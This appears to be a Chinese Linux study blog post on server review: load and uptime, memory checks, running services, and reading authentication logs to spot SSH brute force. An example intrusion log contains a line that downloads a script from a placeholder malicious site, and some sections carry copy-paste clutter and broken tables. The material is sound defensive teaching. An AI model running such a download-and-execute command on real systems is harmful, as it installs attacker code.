当前位置: 首页 > news >正文

linux学习(五)(服务器审查,正常运行时间负载,身份验证日志,正在运行的服务,评估可用内存)

服务器审查

在 Linux 中审查服务器的过程包括评估服务器的性能、安全性和配置,以确定需要改进的领域或任何潜在问题。审查的范围可以包括检查安全增强功能、检查日志文件、审查用户帐户、分析服务器的网络配置以及检查其软件版本。

Linux 以其稳定性和安全性而闻名,已成为全球许多网络和服务器后端的主打产品。根据您使用的发行版,Linux 提供了多种工具和命令来执行全面的服务器审查。

# A command often used for showing memory information
free -m# A command for showing disk usage
df -h# A command for showing CPU load
uptime

系统管理员和 DevOps 专业人员定期进行服务器审查以确保服务器的最佳性能、安全性和可靠性是一项关键任务。

Linux 服务器审查就像给服务器做“全身体检”——检查它的健康状况、安全漏洞和性能瓶颈,确保它稳定高效地工作。以下是通俗易懂的步骤和常用命令:


一、基础检查:看“生命体征”

就像测体温、血压,先看服务器的基本状态:

  1. 内存使用(查是否“贫血”):

    free -m  # 查看内存总量、已用、空闲(单位MB)
    • 关键指标available(可用内存)是否充足。

  2. 磁盘空间(查“胃容量”):

    df -h  # 查看各磁盘分区的使用情况(单位易读:GB/MB)
    • 重点关注Use%(使用率)超过 80% 需清理。

  3. CPU 负载(查“心脏压力”):

    uptime      # 查看负载平均值(1/5/15分钟)
    top 或 htop  # 实时监控CPU占用高的进程(按q退出)
    • 负载解读:负载值 ≤ CPU核心数 为正常(如4核CPU负载≤4)。


二、安全审查:防“小偷入侵”

检查门锁(防火墙)、访客记录(日志)和可疑人员(用户账户):

  1. 用户账户检查(查“谁有钥匙”):

    sudo less /etc/passwd      # 查看所有用户
    sudo less /etc/shadow      # 查看用户密码状态(需权限)
    who                        # 查看当前登录用户
    last                       # 查看登录历史
    • 重点排查:陌生用户、空密码账户、root远程登录。

  2. 防火墙与端口(查“门窗是否关好”):

    sudo ufw status          # 查看防火墙状态(Ubuntu)
    sudo iptables -L -n -v  # 查看详细防火墙规则(通用)
    ss -tuln                # 查看所有监听端口(替代netstat)
    • 风险端口:关闭不必要的端口(如默认的22端口可改为非标准)。

  3. 日志分析(查“监控录像”):

    sudo tail -100 /var/log/auth.log  # 查看认证日志(SSH登录记录)
    sudo journalctl -u sshd          # 查看SSH服务日志(Systemd系统)
    grep "Failed" /var/log/auth.log  # 过滤登录失败的记录(防暴力破解)
    🔹 如何检测可疑攻击?
    🔸 1️⃣ 统计失败登录次数:
    sh
    复制
    编辑
    grep "Failed" /var/log/auth.log | wc -l
    📌 作用:统计包含 "Failed" 的行数,即失败尝试次数。
    🔍 如果失败次数异常多(比如几百次),可能是暴力破解!🔸 2️⃣ 查看攻击来源 IP
    sh
    复制
    编辑
    grep "Failed" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr
    📌 作用:解析 Failed password for ... from 192.168.1.100 这类日志
    提取攻击 IP
    统计每个 IP 出现次数,按次数降序排序
    🌟 示例输出复制
    编辑
    100 203.0.113.42
    50 192.168.1.100
    🔍 如果某个 IP 失败次数异常多,说明它在恶意尝试登录!🔸 3️⃣ 阻止攻击 IP
    如果发现恶意 IP,可以用 iptables 或 fail2ban 进行封锁:sh
    复制
    编辑
    sudo iptables -A INPUT -s 203.0.113.42 -j DROP
    📌 作用:阻止 203.0.113.42 访问服务器(彻底封锁)。🔹 总结
    命令	作用
    grep "Failed" /var/log/auth.log	查找登录失败的记录
    `grep "Failed" /var/log/auth.log	wc -l`
    `grep "Failed" /var/log/auth.log	awk '{print $(NF-3)}'
    sudo iptables -A INPUT -s <IP> -j DROP	封锁攻击 IP
    🔹 结论
    ✅ 这条 grep 命令是检测服务器是否遭遇 SSH 暴力破解 的第一步。
    ✅ 后续可以结合 fail2ban 自动封锁恶意 IP,提高服务器安全性。

三、性能调优:治“慢性病”

检查拖慢服务器的“慢性问题”:

  1. 进程与服务(查“谁在吃资源”):

    ps aux --sort=-%cpu | head  # 按CPU使用率排序进程
    systemctl list-units --type=service  # 查看所有服务
    • 优化建议:停用不必要的服务(如旧版本MySQL、多余容器)。

  2. 定时任务(查“自动任务”):

    crontab -l              # 查看当前用户的定时任务
    ls /etc/cron.*          # 查看系统级定时任务
    • 风险点:异常任务(如挖矿脚本)。

  3. 内核参数(查“身体机能”):

    sysctl -a | grep somaxconn  # 查看TCP连接队列大小(示例)
     
    • 常见优化:调整TCP缓冲区、文件打开数(需备份配置文件)。


四、备份与更新:打“疫苗”

确保系统安全和数据可恢复:

  1. 检查更新(打“补丁”):

    sudo apt update && sudo apt upgrade  # Debian/Ubuntu
    sudo yum update                     # CentOS/RHEL
     
    • 定期更新:修复安全漏洞,升级软件版本。

  2. 验证备份(查“保险柜”):

    ls -l /backup/            # 查看备份文件
    crontab -l | grep backup  # 检查备份任务是否设置
     
    • 关键点:备份是否完整、能否恢复。


五、自动化工具推荐

  • 安全扫描lynis audit system(开源安全审计工具)。

  • 监控告警Prometheus + Grafana(监控CPU、内存、磁盘)。

  • 日志分析ELK(Elasticsearch, Logstash, Kibana)。


举个实际例子

假设服务器变慢,按以下步骤排查:

  1. 快速诊断

    uptime; free -m; df -h; top
     
    • 发现磁盘满了 → 用 du -sh /* | sort -rh | head 找大文件。

  2. 检查登录记录

    uptime; free -m; df -h; top
     
    • 发现陌生IP → 封锁IP,加强SSH密钥登录。


通过定期“体检”,你的服务器会变得更健康、更安全!🚀

正常运行时间负载

在管理 Linux 服务器时,一个值得密切关注的关键指标是“正常运行时间”。Linux 中的命令提供有关系统在不关闭或重新启动的情况下运行了多长时间的信息,以及系统负载平均值。uptime

系统负载平均值是一个重要的指标,它说明了计算机系统执行的计算工作量。它反映了有多少进程正在排队等待获取 CPU 时间。系统负载平均值通常显示 1 分钟、5 分钟和 15 分钟的持续时间。

通过持续分析 Linux 服务器上的正常运行时间和负载,管理员可以识别系统使用模式、诊断可能的性能问题并确定有效的容量规划策略。如果服务器的平均负载较高,则可能表明系统资源不足或配置错误,从而导致性能降低或系统无响应。

以下是该命令及其输出的示例:uptime

$ uptime10:58:35 up 2 days, 20 min,  1 user,  load average: 0.00, 0.01, 0.05

在上面的输出中,“2 days, 20 min” 告诉我们系统运行了多长时间,而 “0.00, 0.01, 0.05” 分别显示了系统在过去 1 分钟、5 分钟和 15 分钟内的平均负载。

uptime 是 Linux 中一个快速查看服务器健康状态的命令,它能告诉你两件关键事:服务器运行了多久当前系统的“忙碌程度”。就像汽车的仪表盘,一眼就能看出是否需要“检修”!


命令输出示例

$ uptime10:58:35 up 2天, 20分钟,  1用户,  平均负载: 0.00, 0.01, 0.05
 

翻译成大白话

  • 10:58:35:现在是上午10点58分35秒(系统时间)。

  • up 2天, 20分钟:服务器已经连续运行了2天零20分钟没重启。

  • 1用户:当前有1个用户登录(比如通过SSH)。

  • 平均负载: 0.00, 0.01, 0.05:过去1分钟、5分钟、15分钟的“负载指数”。


“平均负载”通俗解释

你可以把负载(Load Average)想象成超市收银台的排队情况

  • 负载值 = 正在结账的顾客 + 排队等待的顾客

  • 假设服务器是4个收银台(4核CPU)

    • 负载 ≤4:顾客来了能立刻结账,无需排队(健康)。

    • 负载 >4:开始排队,数值越大队伍越长(可能卡顿)。

  • 三个数值的意义

    • 0.00(1分钟负载):刚刚的排队情况(最敏感,可能突发高峰)。

    • 0.01(5分钟负载):短期的平均排队情况。

    • 0.05(15分钟负载):长期的趋势(更稳定)。


如何判断负载是否过高?

  • 单核CPU:负载超过1.0 表示过载。

  • 4核CPU:负载超过4.0 表示满负荷。

  • 举例

    • 负载: 3.50, 2.10, 0.80(4核CPU):

      • 最近1分钟负载3.5 → 当前较忙,但未超4核能力。

      • 过去15分钟负载0.8 → 长期较空闲。


负载高的常见原因

  1. CPU密集型任务:代码死循环、大量计算。

  2. 磁盘I/O过高:频繁读写大文件、数据库查询慢。

  3. 内存不足:频繁交换内存到磁盘(SWAP)。

  4. 大量网络请求:DDoS攻击、高并发访问。


下一步操作建议

  1. 快速定位问题

    top                # 查看实时进程(按P按CPU排序,按M按内存排序)
    htop               # 更友好的交互式监控工具(需安装)
    iostat -x 1        # 查看磁盘IO情况(%util接近100%表示磁盘满负荷)
     


    (htop界面示例:红框标出高负载进程)

  2. 针对性解决

    • CPU高:结束异常进程(kill 进程ID)、优化代码逻辑。

    • 磁盘IO高:减少日志输出、升级SSD、检查数据库索引。

    • 内存不足:关闭不需要的服务、增加物理内存、优化程序内存泄漏。


实际案例

场景:负载突然飙升至 8.00(4核CPU服务器)。
排查

  1. 用 top 发现一个 python 进程占用 200% CPU(表示占满2个核)。

  2. 检查发现是爬虫程序死循环 → 优化代码或限制资源。

  3. 负载降至 2.00,恢复健康。


通过 uptime 快速判断服务器压力,结合其他工具定位问题,就像医生用体温计+听诊器快速诊断病情一样高效! 🚑

身份验证日志

在处理 Linux 服务器及其维护时,需要定期审查的最关键组件之一是身份验证日志。这些日志通常位于 /var/log/auth.log(对于基于 Debian 的发行版)或 /var/log/secure(对于 Red Hat 和 CentOS)中,记录服务器上发生的所有与身份验证相关的事件和活动。其中包括系统登录、密码更改和发出的 sudo 命令等。

身份验证日志是监控和分析 Linux 服务器安全性的宝贵工具。它们可以指示暴力登录攻击、未经授权的访问尝试和任何可疑行为。定期分析这些日志是确保服务器安全性和数据完整性的一项基本任务。

以下是如何使用命令查看身份验证日志的最后几个条目的示例:tail

tail /var/log/auth.log

熟悉阅读和理解身份验证日志,因为这是确保服务器安全的重要方法。

Linux 身份验证日志就像服务器的“安全监控录像”,详细记录了谁在什么时候、以什么方式登录过系统,以及做了哪些需要权限的操作。它是排查黑客入侵、追踪异常行为的“破案神器”!以下是通俗解读:


一、日志文件在哪?

  • Debian/Ubuntu/var/log/auth.log

  • RedHat/CentOS/var/log/secure

  • 查看最新日志(实时监控):

    sudo tail -f /var/log/auth.log  # 实时滚动显示最新日志(按Ctrl+C退出)
     

二、日志里记录了什么?

1️⃣ SSH 登录记录
  • 登录成功

    May 25 14:30:01 server sshd[1234]: Accepted password for root from 192.168.1.100 port 22 ssh2
     
    • 关键信息:用户 root 从 IP 192.168.1.100 通过密码登录成功。

  • 登录失败

    May 25 14:31:05 server sshd[5678]: Failed password for invalid user hacker from 203.0.113.5 port 22 ssh2
     
    • 危险信号:非法用户 hacker 从 203.0.113.5 尝试密码登录失败!


2️⃣ sudo 命令记录
  • 用户提权操作

    May 25 15:00:00 server sudo:   alice : TTY=pts/0 ; PWD=/home/alice ; USER=root ; COMMAND=/usr/bin/apt update
     
    • 解读:用户 alice 用 sudo 以 root 身份执行了 apt update


3️⃣ 用户账户变更
  • 创建/删除用户

    May 25 16:00:00 server useradd[2345]: new user: name=test, UID=1001, GID=1001
    May 25 16:05:00 server userdel[3456]: delete user 'test'
     
    • 监控重点:非管理员创建的未知用户可能是后门账户!


三、如何快速分析日志?

1️⃣ 找“暴力破解”攻击
  • 统计某个 IP 的失败登录次数:

    grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr
    # 输出示例:
    # 100 203.0.113.5
    # 2   192.168.1.100
     
    • 结果解读:IP 203.0.113.5 尝试了 100 次密码,极可能是攻击者!

2️⃣ 检查可疑的 sudo 操作
  • 查看所有 sudo 提权记录:

    grep "sudo:" /var/log/auth.log
     
3️⃣ 追踪用户登录历史
  • 查看所有成功登录记录:

    grep "Accepted" /var/log/auth.log
     

四、安全加固建议

  1. 封禁暴力IP

    sudo fail2ban-client status sshd  # 查看被禁IP(需安装fail2ban)
    sudo iptables -A INPUT -s 203.0.113.5 -j DROP  # 手动封禁IP
     
  2. 禁用密码登录,改用SSH密钥

    # 修改SSH配置 /etc/ssh/sshd_config
    PasswordAuthentication no
    PermitRootLogin no
     
  3. 设置日志监控告警(如用 logwatch 或 ELK 堆栈)。


实际案例:发现入侵痕迹

日志片段

May 25 03:00:00 server sshd[1111]: Failed password for root from 203.0.113.5 port 22
May 25 03:00:01 server sshd[1112]: Accepted password for root from 203.0.113.5 port 22
May 25 03:05:00 server sudo:   root : TTY=pts/0 ; COMMAND=/usr/bin/wget http://恶意网站.com/x.sh
 

分析

  1. 攻击者从 203.0.113.5 暴力破解了 root 密码。

  2. 登录后下载了可疑脚本 x.sh(可能是木马)。
    应对:立即封锁IP,检查系统后门,重置root密码!


通过定期“翻看”这些日志,你就像服务器的保安队长,能第一时间揪出可疑分子!🔍

正在运行的服务

Linux 服务器因其稳定性和灵活性而广受欢迎,这些因素使它们成为企业和组织在管理各种服务时的首选。在 Linux 服务器下运行的服务范围从 Web 服务到数据库服务、DNS 服务器、邮件服务器等。

作为 Linux 系统管理员,定期查看这些正在运行的服务以管理资源、检查其状态和解决问题,从而确保服务器的运行状况和性能非常重要。

Linux 有多种工具可以实现此目的,例如:、、 和 。systemctlservicenetstatsslsof

例如,该命令在 Linux 系统上广泛使用,用于列出所有正在运行的服务:systemctl

systemctl --type=service 

此命令将显示所有活动服务的列表及其当前状态。它是服务器管理的必需品,应该成为任何 Linux 系统管理员工具箱的一部分。

在 Linux 服务器中,**“正在运行的服务”**就像一台多功能机器上的各种“工作模块”——比如负责网站服务的“模块”、管理数据库的“模块”、处理邮件的“模块”等。作为管理员,你需要知道哪些模块正在运行、是否健康,以及它们占用了多少资源。以下是通俗易懂的检查方法:


一、查看服务列表:用“服务遥控器”

1. systemctl 命令(主流工具,适用于大多数新系统)
  • 列出所有正在运行的服务

    systemctl list-units --type=service --state=running
     

    输出示例

    UNIT                LOAD   ACTIVE SUB     DESCRIPTION
    nginx.service       loaded active running Nginx Web Server
    mysql.service       loaded active running MySQL Database
    ssh.service         loaded active running OpenSSH Server
     
    • 关键信息ACTIVE 显示服务状态(active 表示正常运行)。

  • 检查某个服务的详细状态(如Nginx):

    systemctl status nginx
     

    输出示例

    ● nginx.service - Nginx Web ServerLoaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)Active: active (running) since Mon 2024-05-27 10:00:00 CST; 2 days agoMain PID: 1234 (nginx)CGroup: /system.slice/nginx.service├─1234 nginx: master process /usr/sbin/nginx└─1235 nginx: worker process
     
    • 关注点Active(运行状态)、Main PID(进程ID)、日志片段。


2. service 命令(旧系统兼容工具,操作更简单)
  • 列出所有服务(仅显示部分):

    service --status-all
     

    输出示例

    [ + ]  nginx
    [ - ]  mysql
    [ ? ]  docker
     
    • 符号解读+ 表示运行中,- 表示已停止,? 表示状态未知。


二、检查网络服务:用“网络监控器”

1. ss 或 netstat 命令(查看服务监听的端口)
  • 列出所有监听端口的服务

    ss -tulnp  # 推荐使用(更高效)
    # 或
    netstat -tulnp  # 传统命令(逐渐被ss取代)
     

    输出示例

    Netid  State   Recv-Q  Send-Q  Local Address:Port  Peer Address:Port
    tcp    LISTEN  0       128     0.0.0.0:80          0.0.0.0:*        users:(("nginx",pid=1234,fd=6))
    tcp    LISTEN  0       128     127.0.0.1:3306      0.0.0.0:*        users:(("mysqld",pid=5678,fd=10))
     
    • 关键信息

      • 0.0.0.0:80 → Nginx 在 80 端口监听(提供 Web 服务)。

      • 127.0.0.1:3306 → MySQL 只允许本机访问数据库(更安全)。


2. lsof 命令(查看服务打开的文件/端口)
  • 查看某个服务(如Nginx)使用的资源

    sudo lsof -p $(pgrep nginx)  # 需安装 lsof
    
     

    输出示例

    COMMAND  PID   USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
    nginx   1234   root  cwd    DIR  253,1     4096    2 /
    nginx   1234   root  txt    REG  253,1  1160328 1234 /usr/sbin/nginx
    nginx   1234   root    6u  IPv4  12345      0t0  TCP *:http (LISTEN)
     
    • 解读:可以看到 Nginx 的进程打开了哪些文件、监听了哪些端口。


三、管理服务的常用操作

1. 启动/停止/重启服务

sudo systemctl start nginx    # 启动
sudo systemctl stop nginx     # 停止
sudo systemctl restart nginx # 重启
 
2. 禁止服务开机自启

sudo systemctl disable nginx
3. 检查服务是否开机自启

systemctl is-enabled nginx
 

四、实际场景案例

问题:发现服务器 8080 端口被未知服务占用,如何排查?
  1. 查看监听 8080 端口的服务

    ss -tulnp | grep ':8080'
    # 输出:users:(("mystery",pid=9999,fd=3))
     
  2. 根据 PID 查找服务名

    ps -p 9999 -o comm=
    # 输出:mystery-service
     
  3. 停止并禁用该服务

    sudo systemctl stop mystery-service
    sudo systemctl disable mystery-service
     

五、总结

  • 定期检查服务:关闭不必要的服务,节省资源、提升安全。

  • 重点关注

    • 陌生服务(可能是恶意软件)。

    • 监听在公网 IP 的服务(如 0.0.0.0:3306 可能暴露数据库)。

  • 工具选择

    • 快速概览用 systemctl,网络分析用 ss,深度排查用 lsof

掌握这些命令,你就能像“服务器医生”一样,随时诊断服务的健康状态! 🩺

评估可用内存

在 Linux 环境中运行多个应用程序时,持续跟踪系统运行状况对于平稳运行至关重要。在服务器检查过程中评估可用内存是系统管理员的常见做法。这涉及使用 Linux 提供的各种命令行工具,例如 、 和 。这些可以帮助监控内存使用情况和性能指标,确保系统不会过载,并为重要应用程序提供足够的资源。freevmstattop

例如,该命令给出了总体内存使用情况的摘要,包括总已用内存和可用内存、交换内存和缓冲区/缓存内存。下面是一个示例:free

$ free -htotal        used        free      shared  buff/cache   available
Mem:           15Gi       10Gi       256Mi       690Mi       5.3Gi       4.2Gi
Swap:         8.0Gi       1.3Gi       6.7Gi

在此输出中,'-h' 选项用于以人类可读的格式显示结果。了解 Linux 服务器中的内存使用状态有助于保持最佳服务器性能并解决任何潜在问题

free 是 Linux 中一个查看内存使用情况的命令,可以简单理解为“内存体检报告”。它能告诉你:
内存还剩多少?被谁用了?是否快用光了?
就像手机里的“存储空间”功能,帮你判断是否需要清理垃圾或升级硬件!


用 free -h 看内存(人类友好模式)

$ free -htotal        used        free      shared  buff/cache   available
Mem:           15Gi       10Gi       256Mi       690Mi       5.3Gi       4.2Gi
Swap:         8.0Gi       1.3Gi       6.7Gi
 
通俗解释各部分含义
  1. Mem(物理内存)

    • total(总内存):15Gi → 服务器装了 15G 内存条

    • used(已用):10Gi → 被程序直接吃掉的内存(如运行中的网站、数据库)。

    • free(空闲):256Mi → 完全没被使用的内存(看着少,但别慌!)。

    • buff/cache(缓存):5.3Gi → 系统借来当临时仓库的内存(存磁盘读写数据,不够时可快速释放)。

    • available(实际可用):4.2Gi → 真正还能用的内存 ≈ free + buff/cache 可释放部分。

  2. Swap(交换内存)

    • total:8Gi → 硬盘上划出的虚拟内存(速度慢,应急用)。

    • used:1.3Gi → 正在使用的虚拟内存(如果这个值持续很高,说明物理内存不足了!)。


如何判断内存是否够用?

  1. 重点看 available 列

    • 4.2Gi 表示当前还能支撑新程序运行的内存。

    • 如果 available 接近 0,说明内存快耗尽了,服务器可能会卡顿甚至崩溃!

  2. Swap 使用情况

    • 少量使用 Swap(如 10% 以内)是正常的。

    • Swap 使用量持续增长 → 物理内存不足,需优化程序或加内存条!


下一步操作建议

作用

📌 示例输出(部分字段解释)

 

plaintext

复制编辑

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.1 164456 9624 ? Ss 10:00 0:01 systemd www-data 1345 1.2 10.3 409600 84032 ? S 10:05 3:42 apache2 mysql 2345 5.3 18.2 204800 150832 ? Ssl 10:06 10:15 mysqld

字段含义
USER进程所属用户
PID进程 ID
%CPUCPU 占用率
%MEM内存占用率
VSZ进程占用的虚拟内存(KB)
RSS进程占用的物理内存(KB)
TTY终端设备
STAT进程状态
START进程启动时间
TIME进程累计 CPU 使用时间
COMMAND进程的命令

🔹 2️⃣ --sort=-%mem —— 按内存使用率降序排序

 

sh

复制编辑

--sort=-%mem

  1. 释放缓存(临时救急):

    sync && echo 3 | sudo tee /proc/sys/vm/drop_caches  # 清理缓存(不影响程序运行)
    📌 sync && echo 3 | sudo tee /proc/sys/vm/drop_caches 详解
    该命令用于清理 Linux 系统的缓存,但不会影响正在运行的程序。🔹 1️⃣ sync —— 确保数据写入磁盘
    ✅ 作用:sync 命令会强制将所有待写入磁盘的数据(缓存中的数据)真正写入磁盘,确保数据不会因为清理缓存而丢失。🔹 2️⃣ echo 3 —— 生成缓存清理指令
    ✅ 作用:echo 命令用于输出 3,这里 3 是一个指令参数,用于通知 Linux 清除所有类型的缓存。数值	作用
    1	只清除 页缓存(Page Cache)
    2	只清除 目录项和 inode 缓存
    3	清除所有缓存(推荐使用)🔹 3️⃣ |(管道)—— 连接 echo 和 tee
    echo 3 | sudo tee /proc/sys/vm/drop_caches
    ✅ 作用:
    echo 3 生成指令
    | 管道符:将 echo 3 的输出传递给 tee 命令🔹 4️⃣ sudo tee /proc/sys/vm/drop_caches —— 执行缓存清理
    sudo tee /proc/sys/vm/drop_caches
    ✅ 作用:
    sudo —— 以 超级用户权限 执行(普通用户无权修改 /proc/sys/vm/drop_caches)。
    tee —— 既输出内容到终端,也写入文件:
    /proc/sys/vm/drop_caches 是 Linux 内核参数文件,写入 3 之后,系统会执行缓存清理。
    tee 作用类似于 >,但可以同时显示和写入文件,> 直接写入而不显示。🔹 5️⃣ sync && echo 3 | sudo tee /proc/sys/vm/drop_caches 总结
    ✅ 完整流程:
    sync 确保所有数据写入磁盘,防止未保存数据丢失。
    echo 3 生成清理指令。
    | 把指令传递给 tee。
    sudo tee /proc/sys/vm/drop_caches 清理所有缓存。🔹 6️⃣ 注意事项
    📌 不会影响正在运行的程序:
    该命令仅清理缓存,不会影响应用程序的正常运行。
    清理缓存后,系统可能会变慢,因为需要重新加载数据到缓存。📌 适用于哪些场景?
    释放内存:如果 Linux 系统长时间运行,占用大量缓存,可以手动释放缓存。
    测试性能:在进行性能测试时,希望得到不受缓存影响的结果。
    查看真实的可用内存:缓存占用内存时,可释放后查看真实的空闲内存。🔹 7️⃣ 扩展:如何验证缓存清理?
    📌 清理缓存前后,查看内存占用
    free -h    # 查看内存使用情况
    sync && echo 3 | sudo tee /proc/sys/vm/drop_caches
    free -h    # 再次查看变化
    🔹 清理前:cached 部分较高
    🔹 清理后:cached 变少,free 变多 ✅🔹 8️⃣ 更安全的写法
    为了防止错误,可以使用更安全的方法:
    sudo sh -c "echo 3 > /proc/sys/vm/drop_caches"
    ✅ 区别:sudo 只影响 sh -c 里的 echo,避免 tee 额外权限问题。
    🔹 9️⃣ 总结
    命令部分	作用
    sync	将缓存数据写入磁盘,防止数据丢失
    echo 3	生成清理指令(3 代表清理所有缓存)
    `	`
    sudo tee /proc/sys/vm/drop_caches	执行缓存清理,释放内存
    💡 这个命令适用于手动释放缓存,特别是在长时间运行的 Linux 服务器上。 

  2. 揪出“内存大户”

    top               # 按 M 按内存排序(找占用高的进程)
    htop              # 更友好的界面(需安装)
    ps aux --sort=-%mem | head  # 列出前10内存消耗进程
ps (Process Status,进程状态) 是 Linux 用于查看进程信息的命令。
aux 选项组合:
a (All Users) → 显示所有用户的进程(不仅限于当前用户)。
u (User Format) → 以用户友好的格式显示,包括 CPU、内存、进程名等信息。
x (Including Daemons) → 显示无终端控制的进程(如后台服务)。
--sort=-%mem:按 %MEM 字段(内存占用)降序排序(从高到低)。
- 号表示降序(不加 - 号则是升序)。
长期优化:关闭不需要的服务(如多余容器、测试环境)。优化程序内存泄漏(如 Java 的堆内存设置)。升级物理内存(简单粗暴但有效)。

场景available 只剩 500MB,Swap 用了 6Gi。
分析

  • 物理内存严重不足,系统频繁使用 Swap(速度慢,性能差)。
    解决

  1. 用 top 发现一个 java 进程占用了 8Gi 内存。

  2. 联系开发团队优化代码或调整 JVM 内存参数。

  3. 临时重启该服务释放内存,长期计划加内存条。


通过 free -h,你就像给服务器做了个“血常规”,一眼看出内存健康状态! 🩺

相关文章:

linux学习(五)(服务器审查,正常运行时间负载,身份验证日志,正在运行的服务,评估可用内存)

服务器审查 在 Linux 中审查服务器的过程包括评估服务器的性能、安全性和配置&#xff0c;以确定需要改进的领域或任何潜在问题。审查的范围可以包括检查安全增强功能、检查日志文件、审查用户帐户、分析服务器的网络配置以及检查其软件版本。 Linux 以其稳定性和安全性而闻名…...

Java在小米SU7 Ultra汽车中的技术赋能

目录 一、智能驾驶“大脑”与实时数据 场景一&#xff1a;海量数据的分布式计算 场景二&#xff1a;实时决策的毫秒级响应 场景三&#xff1a;弹性扩展与容错机制 技术隐喻&#xff1a; 二、车载信息系统&#xff08;IVI&#xff09;的交互 场景一&#xff1a;Android Automo…...

开发环境搭建-02.后端环境搭建-熟悉项目结构

一.后端环境搭建...

js实现pdf文件路径预览和下载

预览 直接浏览器窗口打开默认就是预览 window.open(文件路径)下载 function downloadPDF(url, filename) {fetch(url).then(response > response.blob()).then(blob > {const link document.createElement(a);link.href URL.createObjectURL(blob);link.download fi…...

【RAG】基于向量检索的 RAG (BGE示例)

RAG机器人 结构体 文本向量化: 使用 BGE 模型将文档和查询编码为向量。 &#xff08;BGE 是专为检索任务优化的开源 Embedding 模型&#xff0c;除了本文API调用&#xff0c;也可以通过Hugging Face 本地部署BGE 开源模型&#xff09; 向量检索: 从数据库中找到与查询相关的文…...

Vue源码解析之mustache模板引擎

个人简介 &#x1f440;个人主页&#xff1a; 前端杂货铺 &#x1f64b;‍♂️学习方向&#xff1a; 主攻前端方向&#xff0c;正逐渐往全干发展 &#x1f4c3;个人状态&#xff1a; 研发工程师&#xff0c;现效力于中国工业软件事业 &#x1f680;人生格言&#xff1a; 积跬步…...

python: DDD using postgeSQL and SQL Server

postgreSQL 注意&#xff1a; # psycopg 2 驱动的连接字符串 #engine create_engine(postgresql://post:geovindulocalhost:5433/TechnologyGame) #Session sessionmaker(bindengine)# 使用 psycopg3 驱动的连接字符串 #engine create_engine(postgresqlpsycopg://user:g…...

Python实例:PyMuPDF实现PDF翻译,英文翻译为中文,并按段落创建中文PDF

基于PyMuPDF与百度翻译的PDF翻译处理系统开发:中文乱码解决方案与自动化排版实践 一 、功能预览:将英文翻译为中文后创建的PDF 二、完整代码 from reportlab.lib.pagesizes import letter from reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle...

IntelliJ IDEA 2021版创建springboot项目的五种方式

第一种方式&#xff0c;通过https://start.spring.io作为spring Initializr的url来创建项目。 第二种方式&#xff0c;通过https://start.spring.io官网来直接创建springboot项目压缩包&#xff0c;然后导入至我们的idea中。 点击generate后&#xff0c;即可生成压缩包&#xf…...

c#面试题整理6

1.String类能否被继承&#xff0c;为什么 可以看到String类的修饰符是sealed&#xff0c;即是密封类&#xff0c;故不可被继承 2.一个对象的方法是否只能由一个线程访问 不是&#xff0c;但是可通过同步机制&#xff0c;确保同一个时间只有一个线程访问 3.计算2*8&#xff…...

跟着 Lua 5.1 官方参考文档学习 Lua (12)

文章目录 5.7 – Input and Output Facilities补充内容io.input ([file])io.read ()io.write ()io.output ([file])io.lines ([filename])io.flush ()io.close ([file])io.open (filename [, mode])io.popen (prog [, mode])io.tmpfile ()io.type (ob)file:read ()file:lines (…...

大语言模型中的归一化技术:LayerNorm与RMSNorm的深入研究

在LLama等大规模Transformer架构的语言模型中&#xff0c;归一化模块是构建网络稳定性的关键组件。本文将系统分析归一化技术的必要性&#xff0c;并详细阐述为何原始Transformer架构中的LayerNorm在LLama模型中被RMSNorm所替代的技术原理。 归一化技术的基础原理 归一化的核…...

nodejs使用WebSocket实现聊天效果

在nodejs中使用WebSocket实现聊天效果&#xff08;简易实现&#xff09; 安装 npm i ws 实现 创建 server.js /*** 创建一个 WebSocket 服务器&#xff0c;监听指定端口&#xff0c;并处理客户端连接和消息。** param {Object} WebSocket - 引入的 WebSocket 模块&#xff0c…...

【仿muduo库one thread one loop式并发服务器实现】

文章目录 一、项目介绍1-1、项目总体简介1-2、项目开发环境1-3、项目核心技术1-4、项目开发流程1-5、项目如何使用 二、框架设计2-1、功能模块划分2-1-1、SERVER模块2-1-2、协议模块 2-2、项目蓝图2-2-1、整体图2-2-2、模块关系图2-2-2-1、Connection 模块关系图2-2-2-2、Accep…...

10.2 继承与多态

文章目录 继承多态 继承 继承的作用是代码复用。派生类自动获得基类的除私有成员外的一切。基类描述一般特性&#xff0c;派生类提供更丰富的属性和行为。在构造派生类时&#xff0c;其基类构造函数先被调用&#xff0c;然后是派生类构造函数。在析构时顺序刚好相反。 // 基类…...

Go红队开发—格式导出

文章目录 输出功能CSV输出CSV 转 结构体结构体 转 CSV端口扫描结果使用CSV格式导出 HTML输出Sqlite输出nmap扫描 JSONmap转json结构体转jsonjson写入文件json编解码json转结构体json转mapjson转string练习&#xff1a;nmap扫描结果导出json格式 输出功能 在我们使用安全工具的…...

线性代数之矩阵特征值与特征向量的数值求解方法

文章目录 前言1. 幂迭代法&#xff08;Power Iteration&#xff09;幂法与反幂法求解矩阵特征值幂法求最大特征值编程实现补充说明 2. 逆幂迭代法&#xff08;Inverse Iteration&#xff09;移位反幂法 3. QR 算法&#xff08;QR Algorithm&#xff09;——稠密矩阵理论推导编程…...

Spring MVC源码分析のinit流程

文章目录 前言一、 init1.1、createWebApplicationContext1.2、onRefresh 二、请求处理器2.1、RequestMapping2.2、Controller接口2.3、HttpRequestHandler接口2.4、HandlerFunction 三、initHandlerMappings3.1、getDefaultStrategies3.1.1、RequestMappingHandlerMapping3.1.…...

【后端开发】go-zero微服务框架实践(goland框架对比,go-zero开发实践,文件上传问题优化等等)

【后端开发】go-zero微服务框架实践&#xff08;goland框架对比&#xff0c;go-zero开发实践&#xff0c;文件上传问题优化等&#xff09; 文章目录 1、go框架对比介绍2、go-zero 微服务开发实践3、go-zero 文件上传问题优化 1、go框架对比介绍 国内开源goland框架对比 1 go-…...

C#程序加密与解密Demo程序示例

目录 一、加密程序功能介绍 1、加密用途 2、功能 3、程序说明 4、加密过程 5、授权的注册文件保存方式 二、加密程序使用步骤 1、步骤一 ​编辑2、步骤二 3、步骤三 4、步骤四 三、核心代码说明 1、获取电脑CPU 信息 2、获取硬盘卷标号 3、机器码生成 3、 生成…...

网络六边形受到攻击

